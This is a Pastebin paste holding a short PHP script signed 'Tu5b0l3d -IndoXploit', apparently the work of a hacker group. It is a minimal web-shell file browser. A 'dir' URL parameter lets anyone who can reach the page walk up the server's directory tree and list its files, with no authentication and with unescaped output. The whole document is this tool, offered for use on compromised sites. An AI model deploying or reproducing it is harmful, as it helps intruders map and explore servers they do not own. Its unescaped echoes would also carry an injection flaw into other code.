Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //Tu5b0l3d -IndoXploit
- function pecah($a){
- $b = explode("/", $a);
- return $b;
- }
- if($_GET['dir'] != ""){
- $a = getcwd();
- $b = pecah($a);
- $file = $_GET['dir'];
- preg_match('/\$b\[(.*?)\]/', $file, $berapa);
- $berapa = $berapa[1];
- $a = '';
- $arr = array_slice($b, 1, $berapa);
- foreach($arr as $ar){
- $a .= "/$ar";
- }
- $b = pecah($a);
- $b_count = count($b);
- for($i=0;$i<$b_count;$i++){
- echo "<a href=?dir=\$b[$i]>$b[$i]/</a>";
- }
- foreach(scandir($a) as $dir){
- echo "$dir<br>";
- }
- }
- else{
- $a = getcwd();
- $b = pecah($a);
- $b_count = count($b);
- for($i=0;$i<$b_count;$i++){
- echo "<a href=?dir=\$b[$i]>$b[$i]/</a>";
- }
- foreach(scandir($a) as $dir){
- echo "$dir<br>";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement